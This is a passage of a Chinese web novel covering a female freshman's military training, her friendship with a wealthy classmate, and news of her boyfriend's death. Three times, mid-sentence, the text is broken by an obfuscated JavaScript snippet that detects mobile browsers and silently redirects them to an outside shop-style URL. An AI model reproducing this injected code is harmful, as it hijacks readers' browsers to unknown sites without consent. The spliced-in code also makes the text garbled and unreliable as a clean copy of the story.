《风花隔水来》 1. 第一章 “叮咚叮咚——” 闹铃响起,祝岁祯迅速起床,换上军训服后从上铺下来,把薄被塞进衣柜。 拿起洗漱盆,朝公共洗漱间走去。 M大作为北京海淀学院路上的一所中档次985院校,和周围的众多高校一样,本科生宿舍楼颇有些年头,并没有独立卫浴洗漱间这种高级配置。 刚打开水龙头,旁边挤进来一个女生。 “哈喽,祝岁祯,早。” “早哇。”她对着镜子里的女生回应道。 这是隔壁寝室的同班同学,军训时和她一起站在女生队伍最后。 “等会儿!”女生惊讶地看着她满手的泡沫,“你别告诉我你用香皂洗脸。” 祝岁祯并没觉得有什么不妥:“……对啊,我都用一年了,省钱还好用。” “我的天!你是南方人吧?在北京绝对不行!北京很干燥的,你要用洗面奶!” “都一样啦……” “啊啊啊!不可以!你的脸是我们金院的门面,不能这么糙!给你用我的!” 祝岁祯无奈笑笑:“好好好,我晚上就网购洗面奶,多谢你。” 刷完牙回宿舍,另两个舍友正在涂防晒,只有她斜对面的2号床还没动静。 盆一扔,她快步走了过去,揪着上铺的被子喊: “梦梦!起床了!敌人已经进村了!” 周梦津翻了个身面壁继续睡。 “不起……我全招……让我再睡会儿……” 祝岁祯恨铁不成钢:“你个叛徒!拉出去到足球场主席台下枪毙!” 梦梦哼哼唧唧:“毙了吧……我要睡觉……” 旁边的周远文照镜子涂匀防晒:“她昨晚追星看物料剪视频,我两点多起来上厕所她还没睡。你问小羊,小羊也知道。” 赵楚洋往军训鞋里垫姨妈巾:“梦梦,韩国爱豆可谈不了啊,但咱班现成的单身大帅哥,不比明星差多少,你努努力把俞惟叙拿下。” 梦梦终于咬着牙起床,脱掉四千多一套的真丝睡衣,换上军训服: “鱼仔看着近在眼前,实则不然,那是高岭之花,可远观不可亵玩。” 祝岁祯也回去自己桌子前涂防晒。 梦梦继续道:“我家老公虽然在首尔,但只要我肯花钱多飞几次,拉拉小手、说说情话,还是很甜蜜的。” 四人收拾好,一起去食堂吃饭,一路上梦梦都在跟舍友们科普她的追星历程。 她高二时学欲不振,迷恋上了在团里不火但拼搏努力的爱豆。梦梦的妈妈为了鼓励她冲刺高考,承诺考上好学校就奖励她二十万去追星。 梦梦从此发奋图强,终于被M大录取。一个暑假仅仅是参加几场签售、买相机、订机票酒店就花去十几万。 在祝岁祯惊讶的目光中,梦梦一边吃早饭一边抱怨自己追的可是很火的团,有实力的签售姐超多。因为军训没能去后续的签售,担心她的老公会忘了她。 祝岁祯作为穷人家的孩子,想安慰她但又无法共情有钱人的苦恼,于是注意力被隔壁桌几个女生们聊的八卦吸引。 “哎你们知道金院的那个俞惟叙吗?他巨牛逼。” “知道知道!” “我只看过照片,真的超级帅,但怎么个牛逼法儿?” “金院有个跟牛津的交换项目,两年制六学期,全自费,而且申请条件超级苛刻,他一个新生竟然报了。” “英国的学校?自费?两年?我去……多少钱?” “学费加生活费,两年得个一百来万吧,而且交换只有成绩证明,毕业的学位学.历.证.书还是M大的,约等于花钱旅居,几乎没什么性价比。” “他最牛的是,据说他一天就把推荐信、论文、成绩什么的资料全都搞定了,卡着截止时间提交。” “家里有人吧?” “绝对有。” “而且我怀疑他资料造假,我认识他们院的,看过牛津那个项目的要求,且不说别的,人家要学过计算机的学生,什么模型啊算法啊之类的。他会这个?” “他是不是准备本科就出国读啊?所以有这些材料?语言成绩肯定要7.5了吧?” “这倒是有可能……但他为什么来M大?又不是没钱。” “哈哈哈,肯定是太差了去不了呗?才砸钱去交换。” “他是统招高考来的吗?不会是走的留学生政策吧?或者特长生?” “估计有水分,毕竟他家那么有钱。等我再问问,听说他特别高冷,别的学院想加他都加不上。” 祝岁祯听着听着,有点生气。 她因为长得漂亮,在初高中都算是风云人物了,因此而产生的流言蜚语数不胜数,有的离谱得……她都怀疑那能是人类想出来的东西? 俞惟叙人不错的,没有富二代那些臭毛病,她鼓起勇气,决定替他说两句。 “不是的,”她侧脸对那几人说,“俞惟叙高中的时候就在学计算机竞赛了,而且跟着他爸爸还有认识的T大学长们做课题,有二作和三作的论文。” 两个桌子的人全都看着她。 她继续:“而且牛津那个项目也不是随便花钱就能去,还要面试的,那边的老师们会问很多跟算法和模型有关的问题。” 舍友们惊呆了。 梦梦:“你怎么知道?” 远文:“你也报了?” 小羊:“咱们军训的时候聊过?我怎么不记得?我和大黄问他他都不说,神神秘秘的。” 祝岁祯被七双眼睛盯得有些尴尬:“呃,不是,报到的时候,迎新的学姐把我俩学生卡发错了,为了换卡就聊了一会儿。” 梦梦的笑容颇含深意:“喔~我懂了,他只跟你说,不和别人说。” 祝岁祯慌张摆手:“不是……不是……” 小羊坏笑着和梦梦对视:“嗨哟我们都懂的啦,美女才能入帅哥的眼啦~” 祝岁祯尴尬至极。 邻桌的女生来了兴致:“你就是祝岁祯吧?他真人是不是特别帅?” 祝岁祯还没回答,她舍友们立刻狂点头:“特~别~帅~” 梦梦对邻桌勾了勾手:“你们军训的时候如果中间休息,可以来金院这边看帅哥,我们在西边。” 邻桌另一个女生说:“哎祝岁祯,我只听说俞惟叙他爸爸是教授,他有说是哪个学校的教授吗?” 祝岁祯犹豫了一下,俞惟叙这几天军训的时候确实不太爱提他家的情况,而且还悄悄让祝岁祯保密。 但大家都缠着她,尤其是几个舍友,她实在没法拒绝。 “呃,其实我也不大记得,他说得太快了。但不是大学里的,好像是什么研究所科学院之类的地方,做科研带博士生。” “怪不得!”邻桌女生说,“怪不得扒不出来,扒错方向了!” 祝岁祯把豆浆喝完,心想这帮人真闲,还扒他信息吗? 这时邻桌的女生们又开始商量,想加俞惟叙好友,看看他爸爸那边有没有什么课题能带着她们一起做,这几个女生是学工科的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313075|198895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃完饭出来,远文垂头丧气地和祝岁祯走在一起: “祯祯,人和人的差距怎么这么大啊……” 她继续小声叹道:“梦梦家里做生意的那么有钱,随便追个星就几万十几万的花。小羊家也有钱,她的衣服包包护肤品全是大牌。那个俞惟叙就不用说了,家里妈妈创办那么厉害的企业,人家爸爸也是科研大佬……” 祝岁祯仰头望天:“我也同感啊,我家也好穷。” 远文叹气:“你还好啦,独生女,而且爸妈都有正经稳定的工作。我家……哎,我可是坐了几十个小时的硬卧来北京的,连高铁都舍不得。” 祝岁祯看着这个瘦瘦弱弱的舍友,拍了拍她的肩: “这有什么的,咱们学校虽然比不上T大、P大,但在北京也还算可以吧。好好学习以后找个好工作。而且你不是准备找家教的兼职吗?放心,日子肯定会好起来的。” 太阳越来越烈,足球场上的“迷彩服”们都躲去自己学院的遮阳棚里,聊着天等集合。 祝岁祯远远地就看到俞惟叙了,容貌过于出彩的高个子,很难不注意到。 她进去自己班级的遮阳棚后,把杯子放在架子上。 耳边一声轻笑。 “干嘛?”她扭头,看向那个对着她的杯子憋笑的人。 “没事,你杯子很帅。” 俞惟叙说完,拿着他八千多的昆庭镀银吸管杯继续喝水。 祝岁祯低头看向自己那个水杯,为了军训专门去学校旁边超市买的。透明深蓝色便携超大容量太空杯,是知名品牌全国各地都有卖,十几块就搞定了。 “我知道你想说它丑,它又没做错什么。”她转身过来看着足球场。 祝岁祯第一天军训带这个杯子过来的时候,就有好多人笑她:这么个大美女,怎么拿了个老爷爷才会用的杯子。 她打量其他女生的水杯,基本都是浅粉浅绿淡黄淡紫,上面各种可可爱爱的漂亮图案。自己的放那儿一比—— 嗯……好吧,确实比较硬核。 切,那咋了,省钱就行。她杯子特别容易丢,要都买贵的她会破产。 “挺好的,有个性。”俞惟叙简短评价。 梦梦和小羊跟另一个女生聊完天,过来找俞惟叙兴师问罪:“鱼仔,你不能因为我们祯祯漂亮,就区别对待啊!” 俞惟叙皱了一下好看的眉:“啊?” “你为什么只给祯祯说你交换的事,还有你爸爸是做科研的?我们问的时候就啥都不说?” 俞惟叙顿了顿:“呃,交换的offer还没下来,跟她说完后悔了,就没再跟别人聊。” 这时军训教官吹哨:“二班集合!” 大家不得不离开遮阳棚。 俞惟叙转头,英气深邃的眉眼里带了些淡淡的不高兴: “祝岁祯,你居然出卖我。不是答应了别说吗?” 祝岁祯现在就恨自己多嘴,当时听见那几个女生聊天,装作没听见不就行了? 可她总觉得自己好歹也是帮他说话了,而且他家里很厉害这不是都知道吗?又不是间谍,至于遮遮掩掩的么? 她可是有男朋友的人,搞得她跟他之间藏着什么共同的秘密似的。吃饭的时候同学们看她的眼神,就好像她和俞惟叙交情多深一样。 她硬着头皮:“说了就说了,你要怎样?” 俞惟叙点点头:“行,祝岁祯,亏我还把你当朋友,你等着的。” “切。”她无所谓地进入队伍,站在自己的位置上。 2. 第二章 跑完早操,教官带着这帮新兵蛋子去体育馆,开始练打靶射击。 等待布置场地的时候,祝岁祯宿舍和俞惟叙宿舍聚在一起聊天。 按理说一男一女两个宿舍,是不会刚开学就这么熟的。但祝岁祯宿舍的小羊,和俞惟叙宿舍的袁烨煌,人称“大黄”,早在暑假的时候就谈了恋爱。 两人在刚进新生群的时候发现彼此是同市的老乡,东北人自来熟,迅速就约了面基。 大黄一米九的高个子,长得周正且有男人味;小羊肤白貌美大长腿,典型的东北漂亮老妹儿,两人一下就看对眼了,出去玩两次后就谈上了。 最巧的是,两人还分在一个班。 因为他俩要腻在一起,开学的典礼、班会、军训动员会之类的活动又是以宿舍为单位去参加,所以两个宿舍也都经常坐在一起。 俞惟叙宿舍另外两个男生,一个白白瘦瘦跟祝岁祯差不多高,叫谢基科,他们宿舍给他起外号“鸡哥”。另一个叫萧建新,男生管他叫“箫剑”,致敬《还珠格格》。 而俞惟叙,因为担心军训第一天迟到,前一晚放弃他在学校家属楼月租九千多的二居室,跑来宿舍跟舍友们住。 结果床板太硬,少爷睡得不爽,早上起来时嘟囔着说自己像一条咸鱼,因此得到外号“鱼仔”。 “鸡哥这会儿高兴坏了吧?从军训开始就念叨打靶。”俞惟叙这两天不在宿舍住,大黄和他绘声绘色地描述鸡哥对打靶的向往。 鸡哥本人此刻看着那些帅气的枪,声称他一会儿要抱着不撒手,偷回宿舍晚上跟枪睡觉。 大黄和俞惟叙都玩过射击,俞惟叙去英国私校上的中学,一年百来万的费用,课程极其丰富。他在伦敦的室内场馆和室外靶场都学过,而且是实弹,有个教他的老师是某世界级比赛的冠军,所以军训的训练对他来说简直是小孩儿过家家。 班长先指导男生来训练,女生们站在后面看。俞惟叙简直神枪手,靶靶正中圆心,女生们都在给他欢呼。 男生的训练讲解结束,暂时休息,换女生们来。地上十几个垫子一字排开,大家没按照队列顺序,随便挑位置趴下。 祝岁祯就用了鸡哥的位置。 为了方便操作,她重新绑了头发,把马尾斜扎到左边。因为帽檐有些挡视线,鸡哥教她把帽子反着戴,帽檐放在脖子后。 鸡哥去卫生间,祝岁祯戴上许久没用的眼镜——她近视度数低,需要看远处了才临时戴一下。 教官还没开始讲,大家先趴着摆好姿势。 男生们在后面聊天,看女生打靶。大黄和箫剑还在热聊怎么掌握扣扳机的时间,俞惟叙看了一圈没见鸡哥。 他想起什么,低头一看:嘿!你小子玩儿上瘾了? 只见地上那个身影帽子反戴,也不见头发,而且还戴着跟鸡哥一样的黑框眼镜。 不是他,还能是谁? 俞惟叙没再说话,两步上前,“啪”一巴掌拍在舍友屁股上: “鸡哥!走了!现在是女生训练……” 祝岁祯呆住,如机械般缓缓转头。 俞惟叙话还没说完,突然发现这个侧脸不太对,意识到什么后瞬间如遭雷劈。 紧接着,身后舍友疯了,爆发出几声低低惊呼。 “卧槽!鱼仔你要死了鱼仔!” “人家男朋友马上就从隔壁A大杀过来了!!” “下辈子注意点儿,头七我给你多烧些纸钱……” 俞惟叙一时间竟不知是该先给祝岁祯道歉,还是先去捂舍友们的嘴。 明明是热的要死的夏天,祝岁祯的眼神让他一瞬间如同置身南极。 她冷冷道:“这就你的报复?有意思吗?” 俞惟叙双手合十:“对不起对不起……我……” 此时教官注意到队伍尽头的喧嚣,远远地大声训斥道: “那个谁!俞惟叙!你聊什么呢!男生都给我站后面去!” 教官中气十足的吼声让俞惟叙没法儿再待。 “抱歉,我等会儿再跟你说。”他飞速留下一句,先走了。 回到舍友们中间,他无奈地捂住额头。 “卧了个大槽啊鱼仔,没看出来啊你小子,平时一副正人君子的样儿……” “禽兽啊禽兽……” “兄弟,别解释了,你仗着自己帅,就想抢人女朋友是吧哈哈哈……” 俞惟叙咬牙切齿:“闭嘴!老子不是故意的!我以为那是鸡哥!谁知道她突然戴眼镜了,还和鸡哥那个特别像……” “哈哈哈别装了,都是男人,兄弟我懂你的哈哈哈哈。” 俞惟叙立刻赏他一脚,被灵活躲开:“你懂个锤子啊你懂!说了是误会!” 大黄简直要乐死了,看见不远处鸡哥从卫生间出来,赶紧喊道: “鸡哥!鸡哥你快来啊鸡哥!哈哈哈哈多亏了你不在,刚才真是上演了一出史诗级精彩大戏!” 谢基科推了推黑框眼镜,迷茫地走过来:“怎么了?” 箫剑指了指俞惟叙,又指了指地上趴着的受害者,小声在鸡哥面前说: “妈哟我不行了,刚才这条咸鱼以为祝岁祯是你,直接过去拍了人家的屁股,好家伙可响了哈哈哈哈……” 鸡哥震惊过后一整个大爆笑,把周围的男生都引过来了。 俞惟叙生无可恋:“你们也知道是认错人了吧……求你们了别说了……” 好在舍友们知道分寸,在其他男生们好奇过来问的时候,没透露什么。毕竟俞惟叙大老爷们儿也就算了,祝岁祯一个女生,肯定尴尬的要死。 午休吃饭,俞惟叙想去找她正儿八经地道个歉,谁知祝岁祯看见他后,目光凉飕飕地瞥开,一脸厌恶地走了。 他尴尬地停住脚步,但立刻就被舍友们围住了,嚷嚷着让他请客当封口费。俞惟叙见祝岁祯在气头上,解释她可能也不会信,只好先应付眼前的舍友。 下午集合前,祝岁祯又和舍友们晃晃悠悠地出现在俞惟叙视线里。他刚要去找她道歉,突然被几个不认识的女生拦住。 那几个女生不是本院的,来找他想加好友,问他爸爸是做什么方向的研究,她们想看看他爸爸的课题组缺不缺人打杂,也想混个论文。 俞惟叙怕的就是这个。没上大学的时候就有人想借跟他的关系去混论文作者,他又不好直接拒绝。 祝岁祯过来以后,几个女生还跟她打招呼。 俞惟叙没什么表情地盯着她,祝岁祯却偏过头,只留给他一个白皙小巧的侧脸,没分给他丝毫眼神。 他心里无奈,转头却对几个女生露出笑脸,见到女生们看他时果然眼睛里带了星星,他含混不清地把她们糊弄走,说有合适的课题就带她们。 再回头看祝岁祯的时候,她却叹着气、满脸愁容地看手机。 俞惟叙知道,她又在想她那断联的男朋友了。 昨天军训中途休息,他听到她和舍友抱怨,说刚谈的男朋友三天没回消息了,也不知道是不是移情别恋了。 大黄好奇地问她具体情况,俞惟叙在旁边跟着听了一耳朵。 祝岁祯男朋友是她复读时的同班同学,冲刺高考的时候帮了她很多,不然她只是能考211院校的水平。 她男朋友被隔壁A大录取,那所学校比M大分数更高,军训安排在大二开学前,所以比祝岁祯晚开学两周。那男生趁着这个时间,跟家人去新西兰滑雪了。 俞惟叙加她好友换学生卡的时候,在她朋友圈里见过两人官宣的合照, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313076|198895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动态发布的日期还不到一个月。 那男生长得也不错,但明显祝岁祯更胜一筹。可祝岁祯总担心她男朋友去国外玩嗨了、出轨不要她了,才不回消息。 俞惟叙听了觉得好笑,也觉得她男朋友还挺有福的,女朋友既漂亮又黏人。 只是现在……看祝岁祯这样子,那边大概还是没回。确实奇怪,手机丢了吗? 不过他能确定的是,现在还是别去打扰她比较好。 下午吃完饭,祝岁祯回宿舍取个快递、洗把脸、给手机充会儿电,就又得去晚训。 西边天空还留些橘粉,东边已经是深蓝色了。祝岁祯刚回到连队里,足球场上几个大灯亮起。 金融学院这一百个新生是一个连队,按照开学分的班级,军训划分为四个班,祝岁祯宿舍和俞惟叙宿舍都在二班。 每个班男女生按身高排序,各两列纵队,俞惟叙和大黄站在男生队伍最后一排。女生队伍多出一个人,是身高1.72米的小羊站在最后,倒数第二排是祝岁祯和另一个女生。 所以俞惟叙、大黄、祝岁祯、小羊正好都在最后,常常聚在一起聊天打发军训休息时间。大黄有时候跟小羊搂在一起说悄悄话,只剩祝岁祯和俞惟叙俩人,有一搭没一搭地玩手机聊两句。 俞惟叙低头看手机,“啧”了一声: “祝岁祯啊祝岁祯,看看你给我惹的麻烦……” 她一脸懵地转头,俞惟叙直接把聊天界面举到她面前。屏幕上是另一个院的女生,加了俞惟叙好友说要排队等课题项目,想水名额。 祝岁祯把目光移走:“这不是你自己答应人家的吗?关我什么事?” 俞惟叙没想到她把责任推得一干二净:“你要不往外说,谁知道?” 祝岁祯懒得解释了,随便吧。 他其实也不是为了这事,趁机低声道:“我上午确实对不住你,但那不是报复,是意外,我把你认成鸡哥了。” 祝岁祯点头:“我知道了,大黄告诉小羊,小羊又告诉我了。说你请他们吃饭封口来着。” 中午俞惟叙请的太贵了,虽然对于富二代来说这点儿钱不算什么,但大黄还是不太过意得去,就通过小羊让祝岁祯知道这是个误会,俞惟叙不是故意的。 其实俞惟叙根本不用请,但他也是担心祝岁祯一个姑娘家被传闲话,用心良苦。 俞惟叙“嗯”了一声:“但多少也是我不对,算我欠你个人情。你有什么想让我帮忙的吗?” 祝岁祯眼珠子转了转:“唔……你爸爸要是有课题的名额……” 俞惟叙无奈笑道:“怎么你也……可以换一个吗?” 祝岁祯不明白了:“欸?有名额限制吗?我看你答应她们了。” 俞惟叙认真地看着她:“很难,我报到那天跟你说过,我爸在国家天文台是研究天体物理的,他的项目没有和金融学交叉的地方。更多的是需要学计算机相关的人参与进来。” 她似懂非懂地点点头。 他继续解释:“因为现在用于观测的设施越来越先进,传回来的数据量级也翻了好几倍。我爸和研究生们日常科研里,有将近一半的时间都在洗数据,所以对计算机的算力和搭建的模型、机器学习技术要求非常高。更不用提有些项目还是保密的,我这个亲儿子都不能接触。” 祝岁祯瞥了他一眼:“所以你答应同学们帮忙蹲名额,是在敷衍咯?” 俞惟叙赶紧示意她别说:“你自己知道就行,一个个解释我可没那功夫。” 祝岁祯见连队集合得差不多了,随口道:“哎呀其实我也没抱希望,我知道自己的水平,啥都不会多惹人嫌。” 俞惟叙说:“那这个人情我还欠着你啊,你再想想,有要我帮忙的就告诉我。” 3. 第三章 练完队列,教官让大家围着他坐一圈,准备练合唱。教官去拿麦克风和音响的时候,小羊问祝岁祯: “你家那口子,还没回消息吗?” 祝岁祯盘腿坐好:“没有,我也一天没给他发了。就这样耗着吧。” 小羊:“我记得你说,他和他爸妈一起去的?” “是啊,我昨天在同学群里问了,有同学家里和他爸妈认识,说会拜托家长帮忙去问问。” 小羊问她:“你没有他爸妈的联系方式?” “我俩没谈多久呢,他见过我妈,我还没见过他爸妈……你有大黄爸妈的联系方式?” 小羊:“也没有。” 祝岁祯低着头薅草皮:“虽然我俩没谈多久,但也认识一年了。他肯定腻了,不想谈了。” 小羊凑近:“你俩进行到什么程度了?” 祝岁祯抬头迷茫地问:“什么什么程度?” 小羊笑得不怀好意:“就是……就是那个啊,身体上的接触……” 一直在旁边看她俩聊天的俞惟叙赶紧别过头,只留了个耳朵竖着。 “啧,哎呀!我这么问吧,你俩睡过没?”小羊追问。 祝岁祯尴尬道:“没……没啊……这有什么关系吗?” 小羊皱眉,想了想:“那他有跟你表示过,想做这方面的事吗?” 祝岁祯脸开始变红,好在晚上足球场的白灯下看不太出来:“呃……没有吧……” “嗯?没有?你俩谁追的谁?” “他先表白的。” “嘶——不应该啊。像你这种长相,男的要能谈到手都爽死了好吗!居然没跟你……那什么?我本来还猜他是不是那种爱集邮的,睡到手就换人。” 祝岁祯忍不住说:“他挺乖的,我妈也说他特别有礼貌。” 小羊笑得十分不屑:“乖?这年纪的男人还有乖的?有多乖?你俩不会就只拉拉手吧?” “也有亲亲。”祝岁祯小声说。 “怎么亲的?” 祝岁祯无奈道:“别问了……” “哎呀不行~快说快说~” “就是……”祝岁祯对着小羊,做了个撅嘴的动作,“差不多这样的。” “没张嘴伸舌头?” “没有!哎呀你这个人真是的,别问这种问题……”祝岁祯压低声音,朝远离她的地方挪了挪。 祝岁祯害羞的样子太好玩,小羊一把抱住她不让她溜:“哎妈呀,你俩也太纯了吧!” 祝岁祯咬牙切齿地挣扎:“对对对,你和大黄最色了!去找你家大黄去!” 小羊笑嘻嘻抱着祝岁祯不撒手:“他去面试升旗护卫队了,我就要调戏你嘿嘿嘿。” 她为了向祝岁祯验证自己的才是正常恋爱,转头看向俞惟叙:“鱼仔,我问你啊,假如,我说的是假如噢。” 俞惟叙突然被点名,不解地看向小羊。 “假如你和祯祯是男女朋友,你能一个月了,还没和她舌唔古……” 祝岁祯用了生平最敏捷的速度,捂住小羊的嘴,红着脸对俞惟叙说:“她疯了,你什么也没听见。” 虽然最后俩字含糊不清,俞惟叙也知道小羊在说什么。 俞惟叙清了清嗓子,一本正经地指着天空:“我刚才在看UFO,你们说了什么?不知道。” 小羊艰难挣脱:“鱼仔别装啊,我知道你一直偷听……” -.- 第二天天气预报说有雨,远文醒来之后一拉窗帘,发现外面果然是阴天。 刚出宿舍,外面闷得好像把人放进泼了水的桑拿间,明明没太阳,汗却出得更快。 祝岁祯本来想着阴天就不拿防晒了,谁知道上午阴云散开了些,足球场上面这些脆弱的小生命刚出桑拿房、又进烤箱,一整个外酥里嫩。 中场休息,梦梦补防晒的同时,不忘教育祝岁祯: “阴天也要涂防晒,知道吗?紫外线是可以穿透云层的,别因为自己白就过得这么糙,懒惰会付出代价。” “什么代价?”祝岁祯双手捧着,等待梦梦赐她防晒一用。 “长斑!褐色的密密麻麻的斑,长在你的冷白皮上,抠都抠不掉。” 祝岁祯接过她的防晒笑着说:“抠它做什么,再晒晒,让白的地方也长斑,直接均匀肤色。” 梦梦看着她的脸,不敢想象那个画面:“妈耶~” 祝岁祯刚要涂脸,旁边突然伸出一只骨节分明的大手:“给我也挤点儿。” 她指着旁边对俞惟叙说:“这是梦梦的。” “啥?你想用?用吧用吧。”梦梦豪爽地挥挥手,笑眯眯地对大帅哥说。 祝岁祯把防晒放俞惟叙手里,谁知他手往下移了移,没接。 “给我挤点。” 祝岁祯犹豫了下:“要多少?” “跟你差不多就行。” 她念叨着“一元硬币大小”,但面对着比她大了许多的手,不自觉多挤了些。 俞惟叙两手搓匀防晒霜,然后跟洗脸一样、呼呼啦啦往他那张刀削斧刻般的脸上抹。 梦梦看不下去了:“防晒霜是拍着用的,这么帅的脸能不能呵护一下?你的脸是学院的财产知道吗。” 俞惟叙麻利地收尾:“我能涂防晒已经算是很呵护了。” 他见祝岁祯又涂脖子,有样学样地继续伸手让,她再给自己挤点儿。 “我靠,鱼仔!这么精致!居然蹭女生的防晒!”鸡哥看着祝岁祯手里金色的瓶子跃跃欲试:“我也能蹭一个吗?” 但给鸡哥挤的时候,瓶子却“噗呲——”一声,罢工了。 “没了啊……?”四人傻眼。 俞惟叙掏出手机对着瓶子拍了张照:“哦,这款啊,搜到了。我现在下单,下午能到,以后咱们一起用。” 他又看了看瓶子:“60毫升?我买个90毫升的吧。” 梦梦说:“哎呀别在官网买,太贵了,我是在机场免税店买的,还有一瓶。” 俞惟叙怕下单晚今天就送不到了:“没事,我买吧。但是我懒得天天带,快递到了帮忙取一下,然后放你们宿舍就行。” 大黄嫌弃地看了看舍友们:“你说说你俩大老爷们儿,啊?晒黑就晒黑吧,多有男人味!净整这没用的。” 小羊白了她一眼:“那是你自己的审美。” 梦梦也附和道:“就是!比如我,就喜欢长得白的男生,我粉的爱豆可是队里最白的那个。” 俞惟叙看向她:“你追爱豆?哪国的团?” “韩团。” 俞惟叙点点头表示了解。 “你也知道韩团?哇,我以为你们男生都不关注这些的。之前我高中班上的男生一听我聊韩团,居然还嫌弃。呵,好笑,一个个丑的歪瓜裂枣的还看不上人家。” 俞惟叙把帽子摘下来扇风:“我也算不上很了解,几年前在国外上学,学校的课程里有一节讲韩国的Kpop,因为要做小组作业,研究过一段时间。” “研究啥啊?” “嗯……大概就是粉丝经济、签售演唱会盈利分成、追星心理需求和投射之类的。” 梦梦一边感叹,一边缓缓鼓掌:“哇……大发,几年前吗?我那时候还不知道韩团、没学过韩语。你们一年几十万的学费真是没白花啊,太高端 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313077|198895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 俞惟叙笑了笑:“没有那么夸张,我们课程比较丰富而已,但都不太深入,以培养兴趣为主。” 本以为天气预报不准,但上午军训结束的时候厚厚的乌云又压在天上。祝岁祯和舍友打包了饭菜回宿舍吃,还没吃完就听见外面几个炸雷响起,过一会儿哗哗的大雨倾泻而下,从阳台看去天空好像一个巨大的水龙头。 祝岁祯把饭盒扔公共洗漱间的垃圾桶里,一回来就听到了个噩耗:中午不能睡觉了,指挥官和教官们要来检查内务,进行评比。 瞬间整个楼层的宿舍乱作一团,扔东西、打扫卫生、收拾桌柜、叠豆腐块……兵荒马乱之后迎检,祝岁祯的宿舍在金院里居然排到了第二名。 因为她们看到消息有点晚,二班的宿舍又排在检查顺序的前面,来不及收拾的东西统统扔柜子里,导致外面看着没什么生活气息,柜子里爆满。 没想到歪打正着,刚好符合军训内务评比的要求。 雨停了,大家唉声叹气地又去足球场集合。大黄得知她们宿舍居然排第二,赶紧虚心请教。 小羊老神在在地传授经验:“秘诀就是宿舍要搞得像没人住过一样。我们去参观了第一名的宿舍,好家伙几乎什么东西都没有,她们变态到连鞋子都塞柜子里。” 大黄看向鱼仔,满眼期待地拍了拍他的肩膀:“兄弟,你那个柜子反正也不用,下回再检查,我们把东西扔你那儿吧。” 俞惟叙是知道舍友们有多埋汰的,心里默默给柜子点了根蜡:“用吧,别告诉别人那个床位是我的,我丢不起这人。” -.- 一层秋雨一层凉。昨天下了场雨,从天气预报来看,北京的气温会越来越低。中午祝岁祯睡不着,她在等高中同学的消息。 高三下学期祝岁祯的闺蜜意外去世,祝岁祯因为目击惨烈现场,精神受到冲击。随后她家又被讹了一百万,祝岁祯的精神状态出现严重问题。 原本对她十分友好的同学们态度急转一百八十度,祝岁祯也是感受到了世态炎凉,人情淡薄,随后跟高三班里的同学们再没来往。她拼命打起精神进了复读班,在这里认识了从县里转来的路齐江,一个像小太阳般温暖她的少年。 祝岁祯复读这年像个冷冰冰的学习机器,谁也不理。路齐江却乐观开朗,跟谁都玩得来,因此他朋友不少。祝岁祯找到了班里一个叫苏稳的男生,和路齐江是同县的,两家父母认识。她拜托苏稳帮忙打听一下路齐江到底怎么回事。 今天苏稳的妈妈终于有空闲,吃过午饭后去路齐江爸妈开的工厂,帮祝岁祯问一问男朋友的情况。 祝岁祯一直等到休息时间结束,也没见苏稳给她回复,只好先跟着舍友们去足球场。 莫名的心慌伴随她一路,走到外国语学院旁,她的手机突然震动了一下。 苏稳:【在吗】 她抬头和舍友们说:“你们先进去吧,我有个消息要回一下。” 外国语学院就在足球场旁边,两步路就到军训场。舍友们也就没等她,先进去了。 祝岁祯:【在的!】 苏稳:【你做好心理准备】 祝岁祯看到这几个字,突然有种不好的预感。心脏突然狂跳了起来,路旁往足球场走的同学们的笑闹声也听不到了。 她努力平复呼吸,打字。 祝岁祯:【你说】 苏稳:【路齐江去世了,听说是滑雪出了意外,没救回来,他爸妈在新西兰处理后事】 苏稳:【消息应该准确,我妈问了他家厂里的领导。这事暂时没多少人知道,你,节哀……】 祝岁祯脑子“嗡”地一声。 4. 第四章 烈日当空,祝岁祯脚步虚浮,无意识地凭着肌肉记忆,往自己学院的遮阳棚走。 滑雪怎么会死人呢?开什么玩笑…… 两人相处的点滴如倍速影片在她眼前播放,路齐江温柔帅气的微笑、无微不至的关心、辅导她做题时认真的侧脸,每一幕都在揪她的心。 你明明答应过我妈妈的,要一直照顾我的…… 祝岁祯回忆着路齐江承诺时的坚定脸庞,心痛得无法呼吸,眼前发晕,失去了意识。 金融学院的连队已经集合完毕,俞惟叙微微侧身,绕过大黄的遮挡,看了眼前面祝岁祯的位置。 怎么还没来? 他皱着眉,扭头在金院的遮阳棚附近寻找那个熟悉的身影。 突然,俞惟叙瞳孔一缩!还没等他反应过来,身体已经如离弦之箭般冲了过去。 